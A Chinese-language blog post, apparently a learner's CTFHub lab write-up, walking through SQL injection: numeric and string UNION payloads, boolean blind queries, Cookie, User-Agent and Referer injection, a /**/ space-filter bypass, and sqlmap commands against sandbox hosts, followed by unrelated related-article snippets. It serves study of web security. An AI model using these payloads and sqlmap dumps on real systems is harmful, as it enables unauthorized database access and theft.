当前位置: 首页 > news >正文

CTFHUB-WEB-SQL注入

sql学的太不好了,回炉重造

判断 Sql 注入漏洞的类型

1.数字型

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

2.字符型

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

  1.Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
  2.Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

 order by判断列数

SQL的Order By语句的详细介绍-51CTO.COM

ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们对查询结果进行排序,让结果更有意义和可读性。我们可以使用列名、列位置和表达式来指定排序的依据,并且可以按照升序或降序进行排序。同时,我们也可以指定多个排序依据,以及按照不同的优先级进行排序。

sql语句闭合

https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html 

重要函数

group_concat()函数

GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。


information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

ctfhub

整数型注入

 题目已经说了是整数型注入:

 ?id=1 and 1=1,有回显

 ?id=1 and 1=2,无回显,说明有注入点,判断列数

 ?id=-1 union select 3,database(),查当前数据库

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli" ,查表

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 查列

?id=-1 union select 1,group_concat(flag) from sqli.flag,查字段内容

字符型注入:当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

字符型注入

手注

判断注入类型

 ?id=1'and '1'='1

?id=1'and '1'='2

判断列数

 两列

判断回显位-1' union select 1,2#

-1' union select 1,database()# 

查列名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

 查字段内容-1' union select 1,(select flag from flag)#

sqlmap注入

查库

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" --dbs -batch

查表

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli --tables

查字段

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag --columns 

查字段内容

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag -C flag --dump

布尔盲注

布尔类型(Boolean type)

布尔类型只有两个值,True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型,一般用于逻辑运算和比较运算。

盲注

盲注是指在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    web页面返回True 或者 false,构造SQL语句,利用and,or,not等关键字

手注  

判断当前数据库名的长度

1 and length(database())=4 

匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表 

1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值

1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4个表,直接给了true值 

匹配表名的ASCII码: 

 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值

判断字段(列)数: 

1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值 

sqlmap注入

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" --dbs

爆库

爆的很慢

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" -D sqli --tables 

爆表

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段

爆字段内容,得到flag,跑的太慢了

时间盲注

手注的话基本没方法,都是用脚本或者sqlmap还有bp

cthub——时间盲注_ctfhub时间盲注_陈艺秋的博客-CSDN博客

直接就是sqlmap

爆库

qlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -dbs 

爆表

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

爆字段

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段内容,得到flag

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump 

 

MySQL结构

还是sqlmap

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" --dbs 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 

 sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump 

 

Cookie注入 

sqlmap

爆表

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 --dbs 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli --tables 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab --columns

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab -C modgbjjxvs --dump

UA注入

 CTFHub - UA注入-CSDN博客

有三种方式,一种是bp抓包注入,一种是sqlmap,一种是跑脚本

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 --dbs

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli --tables

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau --columns 

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau -C ifvkcqvwxo --dump

 Refer注入

CTFHub - Refer注入_ctfhubrefer注入_CS_Nevvbie的博客-CSDN博客

Referer: 0 union select 1,database()

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='efdlqtawmh'

 Referer: 0 union select 1,group_concat(onnawcxyvb) from sqli.efdlqtawmh

空格过滤

常用绕过空格过滤的方法:

/**/、()、%0a

?id=1/**/and/**/1=1

 ?id=1/**/and/**/1=2,报错了,确定是数字型注入

看回显位

查列数

 发现到3没有回显了,一共两列

开始注入,

查库:?id=-1/**/union/**/select/**/1,database()

得到库名:sqli

?id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'  查表

查字段:?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lyispybtyt'

查字段内容, 得到flag

相关文章:

CTFHUB-WEB-SQL注入

sql学的太不好了&#xff0c;回炉重造 判断 Sql 注入漏洞的类型&#xff1a; 1.数字型 当输入的参 x 为整型时&#xff0c;通常 abc.php 中 Sql 语句类型大致如下&#xff1a;select * from <表名> where id x这种类型可以使用经典的 and 11 和 and 12 来判断&#xff…...

案例分享:某汽车企业通过龙智拓展Jira功能,实现高效项目管理

这家汽车行业的客户缺乏一套系统来支持产品研发过程的管理。他们一直在寻找一款可以覆盖从基本需求到产品开发&#xff0c;再到项目实施等各个阶段的研发管理工具&#xff0c;并且需要这款工具又一定的灵活性&#xff0c;更好地适应并提升现有的业务流程。 通过引入Atlassian的…...

【算法与数据结构】40、LeetCode组合总和 II

文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析&#xff1a;【算法与数据结构】39、LeetCode组合总和的基础之上&#xff0c;这道题变成了candidates中有重复元素&…...

Flink SQL -- 命令行的使用

1、启动Flink SQL 首先启动Flink的集群&#xff0c;选择独立集群模式或者是session的模式。此处选择是时session的模式&#xff1a;yarn-session.sh -d 在启动Flink SQL的client&#xff1a; sql-client.sh 2、kafka SQL 连接器 在使用kafka作为数据源的时候需要上传jar包到…...

asp.net core把所有接口和实现类批量注入到容器

要将所有接口和实现类批量注入到容器&#xff0c;可以使用反射和循环来实现自动批量注册。下面是一种示例方法&#xff1a; 创建一个扩展方法&#xff0c;用于批量注册接口和实现类。 public static class ServiceCollectionExtensions {public static IServiceCollection Re…...

SPSS曲线回归

前言&#xff1a; 本专栏参考教材为《SPSS22.0从入门到精通》&#xff0c;由于软件版本原因&#xff0c;部分内容有所改变&#xff0c;为适应软件版本的变化&#xff0c;特此创作此专栏便于大家学习。本专栏使用软件为&#xff1a;SPSS25.0 本专栏所有的数据文件请点击此链接下…...

软件之禅(七)面向对象(Object Oriented)

黄国强 2023/11/11 前文提到面向对象构建的模块控制器&#xff0c;根据第一性原理&#xff0c;从图灵机的角度&#xff0c;面向对象不是最基本的元素。那么面向对象是不是不重要呢&#xff1f; 答案是否定的&#xff0c;面向对象非常非常重要。当我们面对一个具体的领域…...

汽车之家车型_车系_配置参数数据抓取

// 导入所需的库 #include <iostream> #include <fstream> #include <string> #include <curl/curl.h> #include <regex>// 声明全局变量 std::string htmlContent; std::regex carModelRegex("\\d{4}-\\d{2}-\\d{2}"); std::regex ca…...

RabbitMQ的 五种工作模型

RabbitMQ 其实一共有六种工作模式&#xff1a; 简单模式&#xff08;Simple&#xff09;、工作队列模式&#xff08;Work Queue&#xff09;、 发布订阅模式&#xff08;Publish/Subscribe&#xff09;、路由模式&#xff08;Routing&#xff09;、通配符模式&#xff08;Topi…...

原型制作神器ProtoPie的使用Unity与网页跨端交互

什么是ProtoPie&#xff1f; ProtoPie是一款面向设计师的软件原型设计工具&#xff0c;例如制作App界面交互展示&#xff0c;制作好的原型可以一键发布到Web服务器&#xff0c;就可以浏览器访问。由于其内置了大量常用交互类型&#xff0c;以及"程序化"模块&#xf…...

另辟奚径-Android Studio调用Delphi窗体

大家都知道Delphi能调用安卓SDK&#xff0c;比如jar、aar等&#xff0c; 但是反过来&#xff0c;能在Android Studio中调用Delphi开发的窗体吗&#xff1f; 想想不太可能吧&#xff0c; Delphi用的是Pascal&#xff0c;Android Studio用的是Java&#xff0c;这两个怎么能混用…...

SOLID 原则,程序设计五大原则,设计模式

SOLID 是让软件设计更易于理解、更加灵活和更易于维护的五个原则的简称。 单一职责(Single Responsibility Principle)&#xff1a;修改一个类的原因只能有一个。开闭原则(Open/Closed Principle)&#xff1a;对于扩展&#xff0c;类应该是“开放”的&#xff1b;对于修改&…...

Java基础——数组(一维数组与二维数组)

文章目录 一维数组声明初始化与赋值内存图解 二维数组声明初始化与赋值内存图解 数组练习 数组是多个相同类型的数据按一定顺序排列的集合。 说明&#xff1a; 数组是引用数据类型&#xff0c;数组的元素是同一类型的任何数据类型&#xff0c;包括基本数据类型和引用数据类型…...

Python爬虫抓取微博数据及热度预测

首先我们需要安装 requests 和 BeautifulSoup 库&#xff0c;可以使用以下命令进行安装&#xff1a; pip install requests pip install beautifulsoup4然后&#xff0c;我们需要导入 requests 和 BeautifulSoup 库&#xff1a; import requests from bs4 import BeautifulSou…...

Qt QTableWidget表格的宽度

默认值 QTableWIdget的表格宽度默认是一个给定值&#xff0c;可以手动调整每列的宽度&#xff0c;也不填满父窗口 MainWindow::MainWindow(QWidget *parent): QMainWindow(parent) {this->resize(800,600);QStringList contents{"11","111111111111",&…...

OpenCV(opencv_apps)在ROS中的视频图像的应用(重点讲解哈里斯角点的检测)

1、引言 通过opencv_apps&#xff0c;你可以在ROS中以最简单的方式运行OpenCV提供的许多功能&#xff0c;也就是说&#xff0c;运行一个与功能相对应的launch启动文件&#xff0c;就可以跳过为OpenCV的许多功能编写OpenCV应用程序代码&#xff0c;非常的方便。 对于想熟悉每个…...

常见排序算法之插入排序类

插入排序&#xff0c;是一种简单直观的排序算法&#xff0c;工作原理是将一个记录插入到已经排好序的有序表中&#xff0c;从而形成一个新的、记录数增1的有序表。在实现过程中&#xff0c;它使用双层循环&#xff0c;外层循环对除了第一个元素之外的所有元素&#xff0c;内层循…...

Dubbo服务消费端远程调用过程剖析

1 Dubbo服务消费端远程调用过程概述 &#xff08;1&#xff09;当消费方调用远程服务的方法时&#xff0c;会被InvokerInvocationHandler拦截&#xff0c;执行其invoke()方法&#xff0c;创建RpcInvocation对象&#xff1b; &#xff08;2&#xff09;接着会选择远程调用的负…...

华硕荣获“EPEAT Climate+ Champion”永续先驱称号

华硕持续深耕永续理念&#xff0c;努力提供低碳排放、高效能产品&#xff0c;并被全球电子委员会授予“EPEAT Climate Champion”称号。这一荣誉再次表明了华硕在永续管理方面的承诺&#xff0c;并凸显了华硕在追求永续发展上的决心。 华硕通过设立“科学基础减碳目标”、“再生…...

基于QT使用OpenGL,加载obj模型,进行鼠标交互

目录 功能分析&#xff08;需求分析&#xff09;技术点分析OpenGL立即渲染模式可编程渲染管线模式 QOpenGLWidget派生类 glwidget逻辑glwidget.hglwidget.cpp 鼠标交互功能obj格式介绍 效果bunnyCayman_GT 功能分析&#xff08;需求分析&#xff09; 基于QT平台&#xff0c;使…...

Psychopy音频的使用

Psychopy音频的使用 本文主要解决以下问题&#xff1a; 指定音频引擎与设备&#xff1b;播放音频文件 本文所使用的环境&#xff1a; Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架&#xff0c;允许使用简单的变成模型跨计算机对大型集群进行分布式处理&#xff08;1.海量的数据存储 2.海量数据的计算&#xff09;Hadoop核心组件 hdfs&#xff08;分布式文件存储系统&#xff09;&a…...

SQL慢可能是触发了ring buffer

简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

宇树科技,改名了!

提到国内具身智能和机器人领域的代表企业&#xff0c;那宇树科技&#xff08;Unitree&#xff09;必须名列其榜。 最近&#xff0c;宇树科技的一项新变动消息在业界引发了不少关注和讨论&#xff0c;即&#xff1a; 宇树向其合作伙伴发布了一封公司名称变更函称&#xff0c;因…...

tauri项目,如何在rust端读取电脑环境变量

如果想在前端通过调用来获取环境变量的值&#xff0c;可以通过标准的依赖&#xff1a; std::env::var(name).ok() 想在前端通过调用来获取&#xff0c;可以写一个command函数&#xff1a; #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...

CSS3相关知识点

CSS3相关知识点 CSS3私有前缀私有前缀私有前缀存在的意义常见浏览器的私有前缀 CSS3基本语法CSS3 新增长度单位CSS3 新增颜色设置方式CSS3 新增选择器CSS3 新增盒模型相关属性box-sizing 怪异盒模型resize调整盒子大小box-shadow 盒子阴影opacity 不透明度 CSS3 新增背景属性ba…...

何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡

何谓AI编程【02】AI编程官网以优雅草星云智控为例建设实践-完善顶部-建立各项子页-调整排版-优雅草卓伊凡 背景 我们以建设星云智控官网来做AI编程实践&#xff0c;很多人以为AI已经强大到不需要程序员了&#xff0c;其实不是&#xff0c;AI更加需要程序员&#xff0c;普通人…...

【1】跨越技术栈鸿沟:字节跳动开源TRAE AI编程IDE的实战体验

2024年初&#xff0c;人工智能编程工具领域发生了一次静默的变革。当字节跳动宣布退出其TRAE项目&#xff08;一款融合大型语言模型能力的云端AI编程IDE&#xff09;时&#xff0c;技术社区曾短暂叹息。然而这一退场并非终点——通过开源社区的接力&#xff0c;TRAE在WayToAGI等…...

SQL注入篇-sqlmap的配置和使用

在之前的皮卡丘靶场第五期SQL注入的内容中我们谈到了sqlmap&#xff0c;但是由于很多朋友看不了解命令行格式&#xff0c;所以是纯手动获取数据库信息的 接下来我们就用sqlmap来进行皮卡丘靶场的sql注入学习&#xff0c;链接&#xff1a;https://wwhc.lanzoue.com/ifJY32ybh6vc…...

运动控制--BLDC电机

一、电机的分类 按照供电电源 1.直流电机 1.1 有刷直流电机(BDC) 通过电刷与换向器实现电流方向切换&#xff0c;典型应用于电动工具、玩具等 1.2 无刷直流电机&#xff08;BLDC&#xff09; 电子换向替代机械电刷&#xff0c;具有高可靠性&#xff0c;常用于无人机、高端家电…...